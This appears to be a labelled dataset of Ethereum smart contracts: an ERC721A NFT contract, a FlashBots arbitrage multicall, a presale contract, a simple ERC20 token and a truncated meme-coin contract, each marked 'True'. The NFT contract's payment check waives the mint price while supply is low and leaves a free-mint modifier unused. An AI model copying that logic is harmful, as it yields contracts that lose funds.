(`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Enumerable.sol) pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: contracts/ERC721A.sol pragma solidity ^0.8.0; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata and Enumerable extension. Built to optimize for lower gas during batch mints. * * Assumes serials are sequentially minted starting at 0 (e.g. 0, 1, 2, 3..). * * Assumes the number of issuable tokens (collection size) is capped and fits in a uint128. * * Does not support burning tokens to address(0). */ contract ERC721A is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable { using Address for address; using Strings for uint256; struct TokenOwnership { address addr; uint64 startTimestamp; } struct AddressData { uint128 balance; uint128 numberMinted; } uint256 private currentIndex = 0; uint256 internal immutable collectionSize; uint256 internal immutable maxBatchSize; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to ownership details // An empty struct value does not necessarily mean the token is unowned. See ownershipOf implementation for details. mapping(uint256 => TokenOwnership) private _ownerships; // Mapping owner address to address data mapping(address => AddressData) private _addressData; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev * `maxBatchSize` refers to how much a minter can mint at a time. * `collectionSize_` refers to how many tokens are in the collection. */ constructor( string memory name_, string memory symbol_, uint256 maxBatchSize_, uint256 collectionSize_ ) { require( collectionSize_ > 0, "ERC721A: collection must have a nonzero supply" ); require(maxBatchSize_ > 0, "ERC721A: max batch size must be nonzero"); _name = name_; _symbol = symbol_; maxBatchSize = maxBatchSize_; collectionSize = collectionSize_; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view override returns (uint256) { return currentIndex; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view override returns (uint256) { require(index < totalSupply(), "ERC721A: global index out of bounds"); return index; } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. * This read function is O(collectionSize). If calling from a separate contract, be sure to test gas first. * It may also degrade with extremely large collection sizes (e.g >> 10000), test for your use case. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256) { require(index < balanceOf(owner), "ERC721A: owner index out of bounds"); uint256 numMintedSoFar = totalSupply(); uint256 tokenIdsIdx = 0; address currOwnershipAddr = address(0); for (uint256 i = 0; i < numMintedSoFar; i++) { TokenOwnership memory ownership = _ownerships[i]; if (ownership.addr != address(0)) { currOwnershipAddr = ownership.addr; } if (currOwnershipAddr == owner) { if (tokenIdsIdx == index) { return i; } tokenIdsIdx++; } } revert("ERC721A: unable to get token of owner by index"); } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view override returns (uint256) { require(owner != address(0), "ERC721A: balance query for the zero address"); return uint256(_addressData[owner].balance); } function _numberMinted(address owner) internal view returns (uint256) { require( owner != address(0), "ERC721A: number minted query for the zero address" ); return uint256(_addressData[owner].numberMinted); } function ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) { require(_exists(tokenId), "ERC721A: owner query for nonexistent token"); uint256 lowestTokenToCheck; if (tokenId >= maxBatchSize) { lowestTokenToCheck = tokenId - maxBatchSize + 1; } for (uint256 curr = tokenId; curr >= lowestTokenToCheck; curr--) { TokenOwnership memory ownership = _ownerships[curr]; if (ownership.addr != address(0)) { return ownership; } } revert("ERC721A: unable to determine the owner of token"); } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view override returns (address) { return ownershipOf(tokenId).addr; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require( _exists(tokenId), "ERC721Metadata: URI query for nonexistent token" ); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public override { address owner = ERC721A.ownerOf(tokenId); require(to != owner, "ERC721A: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721A: approve caller is not owner nor approved for all" ); _approve(to, tokenId, owner); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view override returns (address) { require(_exists(tokenId), "ERC721A: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public override { require(operator != _msgSender(), "ERC721A: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public override { _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public override { _transfer(from, to, tokenId); require( _checkOnERC721Received(from, to, tokenId, _data), "ERC721A: transfer to non ERC721Receiver implementer" ); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), */ function _exists(uint256 tokenId) internal view returns (bool) { return tokenId < currentIndex; } function _safeMint(address to, uint256 quantity) internal { _safeMint(to, quantity, ""); } /** * @dev Mints `quantity` tokens and transfers them to `to`. * * Requirements: * * - there must be `quantity` tokens remaining unminted in the total collection. * - `to` cannot be the zero address. * - `quantity` cannot be larger than the max batch size. * * Emits a {Transfer} event. */ function _safeMint( address to, uint256 quantity, bytes memory _data ) internal { uint256 startTokenId = currentIndex; require(to != address(0), "ERC721A: mint to the zero address"); // We know if the first token in the batch doesn't exist, the other ones don't as well, because of serial ordering. require(!_exists(startTokenId), "ERC721A: token already minted"); require(quantity <= maxBatchSize, "ERC721A: quantity to mint too high"); _beforeTokenTransfers(address(0), to, startTokenId, quantity); AddressData memory addressData = _addressData[to]; _addressData[to] = AddressData( addressData.balance + uint128(quantity), addressData.numberMinted + uint128(quantity) ); _ownerships[startTokenId] = TokenOwnership(to, uint64(block.timestamp)); uint256 updatedIndex = startTokenId; for (uint256 i = 0; i < quantity; i++) { emit Transfer(address(0), to, updatedIndex); require( _checkOnERC721Received(address(0), to, updatedIndex, _data), "ERC721A: transfer to non ERC721Receiver implementer" ); updatedIndex++; } currentIndex = updatedIndex; _afterTokenTransfers(address(0), to, startTokenId, quantity); } /** * @dev Transfers `tokenId` from `from` to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) private { TokenOwnership memory prevOwnership = ownershipOf(tokenId); bool isApprovedOrOwner = (_msgSender() == prevOwnership.addr || getApproved(tokenId) == _msgSender() || isApprovedForAll(prevOwnership.addr, _msgSender())); require( isApprovedOrOwner, "ERC721A: transfer caller is not owner nor approved" ); require( prevOwnership.addr == from, "ERC721A: transfer from incorrect owner" ); require(to != address(0), "ERC721A: transfer to the zero address"); _beforeTokenTransfers(from, to, tokenId, 1); // Clear approvals from the previous owner _approve(address(0), tokenId, prevOwnership.addr); _addressData[from].balance -= 1; _addressData[to].balance += 1; _ownerships[tokenId] = TokenOwnership(to, uint64(block.timestamp)); // If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it. // Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls. uint256 nextTokenId = tokenId + 1; if (_ownerships[nextTokenId].addr == address(0)) { if (_exists(nextTokenId)) { _ownerships[nextTokenId] = TokenOwnership( prevOwnership.addr, prevOwnership.startTimestamp ); } } emit Transfer(from, to, tokenId); _afterTokenTransfers(from, to, tokenId, 1); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve( address to, uint256 tokenId, address owner ) private { _tokenApprovals[tokenId] = to; emit Approval(owner, to, tokenId); } uint256 public nextOwnerToExplicitlySet = 0; /** * @dev Explicitly set `owners` to eliminate loops in future calls of ownerOf(). */ function _setOwnersExplicit(uint256 quantity) internal { uint256 oldNextOwnerToSet = nextOwnerToExplicitlySet; require(quantity > 0, "quantity must be nonzero"); uint256 endIndex = oldNextOwnerToSet + quantity - 1; if (endIndex > collectionSize - 1) { endIndex = collectionSize - 1; } // We know if the last one in the group exists, all in the group exist, due to serial ordering. require(_exists(endIndex), "not enough minted yet for this cleanup"); for (uint256 i = oldNextOwnerToSet; i <= endIndex; i++) { if (_ownerships[i].addr == address(0)) { TokenOwnership memory ownership = ownershipOf(i); _ownerships[i] = TokenOwnership( ownership.addr, ownership.startTimestamp ); } } nextOwnerToExplicitlySet = endIndex + 1; } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721A: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. */ function _beforeTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} /** * @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes * minting. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - when `from` and `to` are both non-zero. * - `from` and `to` are never both zero. */ function _afterTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} } //SPDX-License-Identifier: MIT //Contract based on [https://docs.openzeppelin.com/contracts/3.x/erc721](https://docs.openzeppelin.com/contracts/3.x/erc721) pragma solidity ^0.8.0; contract DerpDerp is ERC721A, IERC2981, Ownable, ReentrancyGuard { using Counters for Counters.Counter; using Strings for uint256; Counters.Counter private tokenCounter; string private baseURI = "ipfs://QmR2ojtyQZyg2NECKPvhPWGk7mQCkQ59ghQ6Yu9B6enuYG/"; address private openSeaProxyRegistryAddress = 0xa5409ec958C83C3f309868babACA7c86DCB077c1; bool private isOpenSeaProxyActive = true; uint256 public constant MAX_MINTS_PER_TX = 10; uint256 public maxSupply = 1000; uint256 public constant PUBLIC_SALE_PRICE = 0.01 ether; uint256 public NUM_FREE_MINTS = 1; bool public isPublicSaleActive = true; // ============ ACCESS CONTROL/SANITY MODIFIERS ============ modifier publicSaleActive() { require(isPublicSaleActive, "Public sale is not open"); _; } modifier maxMintsPerTX(uint256 numberOfTokens) { require( numberOfTokens <= MAX_MINTS_PER_TX, "Max mints per transaction exceeded" ); _; } modifier canMintNFTs(uint256 numberOfTokens) { require( totalSupply() + numberOfTokens <= maxSupply, "Not enough mints remaining to mint" ); _; } modifier freeMintsAvailable() { require( totalSupply() <= NUM_FREE_MINTS, "Not enough free mints remain" ); _; } modifier isCorrectPayment(uint256 price, uint256 numberOfTokens) { if(totalSupply()>NUM_FREE_MINTS){ require( (price * numberOfTokens) == msg.value, "Incorrect ETH value sent" ); } _; } constructor( ) ERC721A("DerpDerp", "DerpDerp", 100, maxSupply) { } // ============ PUBLIC FUNCTIONS FOR MINTING ============ function mint(uint256 numberOfTokens) external payable nonReentrant isCorrectPayment(PUBLIC_SALE_PRICE, numberOfTokens) publicSaleActive canMintNFTs(numberOfTokens) maxMintsPerTX(numberOfTokens) { _safeMint(msg.sender, numberOfTokens); } //A simple free mint function to avoid confusion //The normal mint function with a cost of 0 would work too // ============ PUBLIC READ-ONLY FUNCTIONS ============ function getBaseURI() external view returns (string memory) { return baseURI; } // ============ OWNER-ONLY ADMIN FUNCTIONS ============ function setBaseURI(string memory _baseURI) external onlyOwner { baseURI = _baseURI; } // function to disable gasless listings for security in case // opensea ever shuts down or is compromised function setIsOpenSeaProxyActive(bool _isOpenSeaProxyActive) external onlyOwner { isOpenSeaProxyActive = _isOpenSeaProxyActive; } function setIsPublicSaleActive(bool _isPublicSaleActive) external onlyOwner { isPublicSaleActive = _isPublicSaleActive; } function setNumFreeMints(uint256 _numfreemints) external onlyOwner { NUM_FREE_MINTS = _numfreemints; } function withdraw() public onlyOwner { uint256 balance = address(this).balance; payable(msg.sender).transfer(balance); } function withdrawTokens(IERC20 token) public onlyOwner { uint256 balance = token.balanceOf(address(this)); token.transfer(msg.sender, balance); } // ============ SUPPORTING FUNCTIONS ============ function nextTokenId() private returns (uint256) { tokenCounter.increment(); return tokenCounter.current(); } // ============ FUNCTION OVERRIDES ============ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721A, IERC165) returns (bool) { return interfaceId == type(IERC2981).interfaceId || super.supportsInterface(interfaceId); } /** * @dev Override isApprovedForAll to allowlist user's OpenSea proxy accounts to enable gas-less listings. */ function isApprovedForAll(address owner, address operator) public view override returns (bool) { // Get a reference to OpenSea's proxy registry contract by instantiating // the contract using the already existing address. ProxyRegistry proxyRegistry = ProxyRegistry( openSeaProxyRegistryAddress ); if ( isOpenSeaProxyActive && address(proxyRegistry.proxies(owner)) == operator ) { return true; } return super.isApprovedForAll(owner, operator); } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "Nonexistent token"); return string(abi.encodePacked(baseURI, "/", (tokenId+1).toString(), ".json")); } /** * @dev See {IERC165-royaltyInfo}. */ function royaltyInfo(uint256 tokenId, uint256 salePrice) external view override returns (address receiver, uint256 royaltyAmount) { require(_exists(tokenId), "Nonexistent token"); return (address(this), SafeMath.div(SafeMath.mul(salePrice, 5), 100)); } } // These contract definitions are used to create a reference to the OpenSea // ProxyRegistry contract by using the registry's address (see isApprovedForAll). contract OwnableDelegateProxy { } contract ProxyRegistry { mapping(address => OwnableDelegateProxy) public proxies; }

True

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/** *Submitted for verification at Etherscan.io on 2021-06-27 */ //SPDX-License-Identifier: UNLICENSED pragma solidity 0.6.12; pragma experimental ABIEncoderV2; interface IERC20 { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); } interface IWETH is IERC20 { function deposit() external payable; function withdraw(uint) external; } // This contract simply calls multiple targets sequentially, ensuring WETH balance before and after contract FlashBotsMultiCall { address private immutable owner; address private immutable executor; IWETH private constant WETH = IWETH(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); modifier onlyExecutor() { require(msg.sender == executor); _; } modifier onlyOwner() { require(msg.sender == owner); _; } constructor(address _executor) public payable { owner = msg.sender; executor = _executor; if (msg.value > 0) { WETH.deposit{value: msg.value}(); } } receive() external payable { } function uniswapWeth(uint256 _wethAmountToFirstMarket, uint256 _ethAmountToCoinbase, address[] memory _targets, bytes[] memory _payloads) external onlyExecutor payable { require (_targets.length == _payloads.length); uint256 _wethBalanceBefore = WETH.balanceOf(address(this)); WETH.transfer(_targets[0], _wethAmountToFirstMarket); for (uint256 i = 0; i < _targets.length; i++) { (bool _success, bytes memory _response) = _targets[i].call(_payloads[i]); require(_success); _response; } uint256 _wethBalanceAfter = WETH.balanceOf(address(this)); require(_wethBalanceAfter > _wethBalanceBefore + _ethAmountToCoinbase); if (_ethAmountToCoinbase == 0) return; block.coinbase.transfer(_ethAmountToCoinbase); } function call(address payable _to, uint256 _value, bytes calldata _data) external onlyOwner payable returns (bytes memory) { require(_to != address(0)); (bool _success, bytes memory _result) = _to.call{value: _value}(_data); require(_success); return _result; } }

True

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/** *Submitted for verification at Etherscan.io on 2020-11-21 */ pragma solidity 0.6.0; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0); uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } interface ERC20 { function balanceOf(address who) external view returns (uint256); function transfer(address to, uint value) external returns (bool success); } contract PreSale { using SafeMath for uint256; ERC20 private timeToken; address payable private owner; constructor(address token) public { owner = msg.sender; timeToken = ERC20(token); } //Buy tokens function buyTokensByETH() external payable { require(msg.value >= 0.01 ether && msg.value <= 0.5 ether); uint256 amountOfTokens = msg.value; amountOfTokens = amountOfTokens.div(10 ** 12); //adjust decimal tokens amountOfTokens = amountOfTokens.div(8); //adjust tokens count to eth owner.transfer(msg.value); timeToken.transfer(msg.sender, amountOfTokens); } // Not sold tokens function returnNotSoldTokens() public returns (bool success) { require(msg.sender == owner); timeToken.transfer(msg.sender, timeToken.balanceOf(address(this))); return true; } // Wrong Send Various Tokens function returnVariousTokenFromContract(address tokenAddress) public returns (bool success) { require(msg.sender == owner); ERC20 tempToken = ERC20(tokenAddress); tempToken.transfer(msg.sender, tempToken.balanceOf(address(this))); return true; } // Wrong Send ETH function returnETHFromContract(uint256 value) public returns (bool success) { require(msg.sender == owner); msg.sender.transfer(value); return true; } }

True

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pragma solidity ^0.4.16; interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; } contract HRY { // Public variables of the token string public name; string public symbol; uint8 public decimals = 18; // 18 decimals is the strongly suggested default, avoid changing it uint256 public totalSupply; // This creates an array with all balances mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; // This generates a public event on the blockchain that will notify clients event Transfer(address indexed from, address indexed to, uint256 value); // This notifies clients about the amount burnt event Burn(address indexed from, uint256 value); /** * Constrctor function * * Initializes contract with initial supply tokens to the creator of the contract */ function HRY( uint256 initialSupply, string tokenName, string tokenSymbol ) public { totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens name = tokenName; // Set the name for display purposes symbol = tokenSymbol; // Set the symbol for display purposes } /** * Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { // Prevent transfer to 0x0 address. Use burn() instead require(_to != 0x0); // Check if the sender has enough require(balanceOf[_from] >= _value); // Check for overflows require(balanceOf[_to] + _value > balanceOf[_to]); // Save this for an assertion in the future uint previousBalances = balanceOf[_from] + balanceOf[_to]; // Subtract from the sender balanceOf[_from] -= _value; // Add the same to the recipient balanceOf[_to] += _value; Transfer(_from, _to, _value); // Asserts are used to use static analysis to find bugs in your code. They should never fail assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } /** * Transfer tokens * * Send `_value` tokens to `_to` from your account * * @param _to The address of the recipient * @param _value the amount to send */ function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } /** * Transfer tokens from other address * * Send `_value` tokens to `_to` in behalf of `_from` * * @param _from The address of the sender * @param _to The address of the recipient * @param _value the amount to send */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); // Check allowance allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } /** * Set allowance for other address * * Allows `_spender` to spend no more than `_value` tokens in your behalf * * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } /** * Set allowance for other address and notify * * Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it * * @param _spender The address authorized to spend * @param _value the max amount they can spend * @param _extraData some extra information to send to the approved contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } /** * Destroy tokens * * Remove `_value` tokens from the system irreversibly * * @param _value the amount of money to burn */ function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); // Check if the sender has enough balanceOf[msg.sender] -= _value; // Subtract from the sender totalSupply -= _value; // Updates totalSupply Burn(msg.sender, _value); return true; } /** * Destroy tokens from other account * * Remove `_value` tokens from the system irreversibly on behalf of `_from`. * * @param _from the address of the sender * @param _value the amount of money to burn */ function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); // Check if the targeted balance is enough require(_value <= allowance[_from][msg.sender]); // Check allowance balanceOf[_from] -= _value; // Subtract from the targeted balance allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance totalSupply -= _value; // Update totalSupply Burn(_from, _value); return true; } }

True

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/** *Submitted for verification at Etherscan.io on 2022-04-17 */ /** 🐧LoveBirds🐧-Going to Super meme coin Will be fair launch Info 🚀 2,000,000,000 Max buy at start 🚀 100,000,000,000 tokens total Tokenomics Tax: 🐧 6% goes to marketing marketing 🐧 2% goes to dev wallet 🐧 2% liquidity tax Our Tg: https://t.me/lovebirdstoken */ pragma solidity ^0.8.13; // SPDX-License-Identifier: UNLICENSED abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract LoveBirds is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 100000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet; string private constant _name = "LoveBirds"; string private constant _symbol = "LoveBirds"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; uint256 private _maxWalletSize = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet = payable(0x5BB0906B7303ED055Cb73f5B5ba088A39bCa4809); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string 